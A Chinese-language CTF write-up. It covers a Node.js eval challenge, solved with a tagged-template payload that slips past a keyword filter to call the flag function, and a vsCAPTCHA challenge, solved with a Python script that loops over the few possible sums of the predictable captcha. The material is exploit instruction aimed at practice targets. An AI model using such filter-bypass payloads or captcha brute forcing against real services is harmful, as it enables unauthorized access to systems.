const express = require('express'); const app = express(); function escape(s) { return `${s}`.replace(/./g,c => "&#" + c.charCodeAt(0) + ";"); } function directory(keys) { const values = { "title": "View Source CTF", "description": "Powered by Node.js and Express.js", "flag": process.env.FLAG, "lyrics": "Good job, you’ve made it to the bottom of the mind control facility. Well done.", "createdAt": "1970-01-01T00:00:00.000Z", "lastUpdate": "2022-02-22T22:22:22.222Z", "source": require('fs').readFileSync(__filename), }; return "" + keys.map(key => `${key}${escape(values[key])}`).join("") + ""; } app.get('/', (req, res) => { const payload = req.query.payload; if (payload && typeof payload === "string") { const matches = /([\.\(\)'"\[\]\{\}<>_$%\\xu^;=]|import|require|process|proto|constructor|app|express|req|res|env|process|fs|child|cat|spawn|fork|exec|file|return|this|toString)/gi.exec(payload); if (matches) { res.status(400).send(matches.map(i => `${i}`).join(" ")); } else { res.send(`${eval(payload)}`); } } else { res.send(directory(["title", "description", "lastUpdate", "source"])); } }); app.listen(process.env.PORT, () => { console.log(`Server started on http://127.0.0.1:${process.env.PORT}`); });
nodejs的eval命令执行,过滤了很多,利用
?payload=directory`flag`vsCAPTCHA
进入页面需要我们输入验证码
根据图示:我们需要在每一轮也就是10s内正确输入验证码,总共输入正确1000次,验证码结果为两数相加
抓包发现x-captcha-state字段,是一段jwt,解码看一下
猜测字段含义:
- exp:表示令牌不再有效的时间戳
- jti : 唯一标识符,用于区分我们的token和其他token
- failed:指示一步是否验证失败
- numCaptchasSolved : 验证的步骤数
第一种思路是将令牌中numCaptchasSolved的值更改为 1000,然后发送它来欺骗服务器,使其认为已经验证了1000次。但是,JWT 是经过签名的,尝试之后发现现有方法都不行,因此必须找到另一种方法。
另一种思路是使用 OCR 来检索验证码的内容,但在如此有限的时间内,显得很繁琐且不一定成功。
我们需要另辟蹊径,仔细观察每次的验证码,似乎生成的数都是相近的,我们不妨查看一下它的生成逻辑。
代码结构:
├── __MACOSX │ └── vsCAPTCHA │ └── static ├── vsCAPTCHA │ ├── Dockerfile │ ├── generate.sh │ ├── src │ │ └── main.ts │ └── static │ └── index.html └── vsCAPTCHA.rar
看到main.ts
import { createCaptcha } from "https://deno.land/x/captcha@v1.0.1/mods.ts"; import * as jose from "https://deno.land/x/jose@v4.8.3/index.ts"; import { Application, Router } from "https://deno.land/x/oak@v10.6.0/mod.ts"; const FLAG = Deno.env.get("FLAG") ?? "vsctf{REDACTED}"; const captchaSolutions = new Map(); interface CaptchaJWT { exp: number; jti: string; flag?: string; failed: boolean; numCaptchasSolved: number; } const jwtKey = await jose.importPKCS8( new TextDecoder().decode(await Deno.readFile("./jwtRS256.key")), "RS256" ); const jwtPubKey = await jose.importSPKI( new TextDecoder().decode(await Deno.readFile("./jwtRS256.key.pub")), "RS256" ); const app = new Application(); const router = new Router(); const b1 = Math.floor(Math.random() * 500); const b2 = Math.floor(Math.random() * 500); router.get("/", (ctx) => { return ctx.send({ path: "index.html", root: "./static", }); }); router.post("/captcha", async (ctx) => { const stateJWT = ctx.request.headers.get("x-captcha-state"); const body = await ctx.request.body({ type: "json", }).value; const solution = body.solution; let jwtPayload: CaptchaJWT = { // 10 seconds to solve exp: Math.round(Date.now() / 1000) + 10, jti: crypto.randomUUID(), failed: false, numCaptchasSolved: 0, }; if (stateJWT) { try { const { payload } = await jose.jwtVerify(stateJWT, jwtPubKey); jwtPayload.numCaptchasSolved = payload.numCaptchasSolved; if ( !captchaSolutions.get(payload.jti) || captchaSolutions.get(payload.jti) !== solution ) { const jwt = await new jose.SignJWT({ failed: true, numCaptchasSolved: payload.numCaptchasSolved, exp: payload.exp, }) .setProtectedHeader({ alg: "RS256" }) .sign(jwtKey); ctx.response.headers.set("x-captcha-state", jwt); ctx.response.status = 401; return; } } catch { ctx.response.status = 400; return; } jwtPayload.numCaptchasSolved += 1; } const num1 = Math.floor(Math.random() * 7) + b1; const num2 = Math.floor(Math.random() * 3) + b2; const captcha = createCaptcha({ width: 250, height: 150, // @ts-ignore provided options are merged with default options captcha: { text: `${num1} + ${num2}`, }, }); ctx.response.headers.set("content-type", "image/png"); if (jwtPayload.numCaptchasSolved >= 1000) { jwtPayload.flag = FLAG; } ctx.response.headers.set( "x-captcha-state", await new jose.SignJWT(jwtPayload as unknown as jose.JWTPayload) .setProtectedHeader({ alg: "RS256" }) .sign(jwtKey) ); captchaSolutions.set(jwtPayload.jti, num1 + num2); ctx.response.status = 200; ctx.response.body = captcha.image; }); app.use(router.routes()); await app.listen({ port: 8080 });
服务器初始化的时候会同时初始两个全局变量直到服务器关闭
const b1 = Math.floor(Math.random() * 500); const b2 = Math.floor(Math.random() * 500);
Math.random()生成一个介于 0 (包含)和 1 (不包括)之间的伪随机数
- b1 的值介于 0 *(包括)*和 500 *(不包括)*之间
- b2 的值介于 0 *(包括)*和 500 *(不包括)*之间
而生成验证码的逻辑
const num1 = Math.floor(Math.random() * 7) + b1; const num2 = Math.floor(Math.random() * 3) + b2; const captcha = createCaptcha({ width: 250, height: 150, // @ts-ignore provided options are merged with default options captcha: { text: `${num1} + ${num2}`, }, });
这下很好理解了,验证码的范围:
- num1=[b1,b1+1,b1+2,b1+3,b1+4,b1+5,b1+6,b1+7[
- num2=[b2,b2+1,b2+2,b2+3[
那么多观察几次就会发现b1 = 154和b2 = 425,并且这两个数字不会更改是全局变量
因此
num1的值将在以下范围内:[154,155,156,157,158,159,160]
num2的值将在以下范围内:[425,426,427]
验证码的范围:[579, 580, 581, 582, 583, 584, 585, 586, 587]
最终写一个脚本:
import sys import json import base64 import requests url = "https://vscaptcha-twekqonvua-uc.a.run.app" res = requests.post(f"{url}/captcha", data="{}") x_captcha_state = res.headers["x-captcha-state"] print(base64.b64decode(x_captcha_state.split(".")[1] + "==").decode()) while True: for ans in [579, 580, 581, 582, 583, 584, 585, 586, 587]: # [154, 155, 156, 157, 158, 159, 160] + [425, 426, 427] res = requests.post(f"{url}/captcha", data=f"{{\"solution\": {ans}}}", headers={"x-captcha-state": x_captcha_state}) if len(res.content) == 0: # Speed up!! continue try: state = base64.b64decode(res.headers["x-captcha-state"].split(".")[1] + "==").decode() except: print(res.headers["x-captcha-state"]) # Padding error? json_state = json.loads(state) print(state) if json_state["failed"] == False: if json_state["numCaptchasSolved"] >= 1000: print(f"Flag: {json_state['flag']}") sys.exit() x_captcha_state = res.headers["x-captcha-state"] break
这里远程环境有问题,我本地起了一个来跑
web汇编,以后补上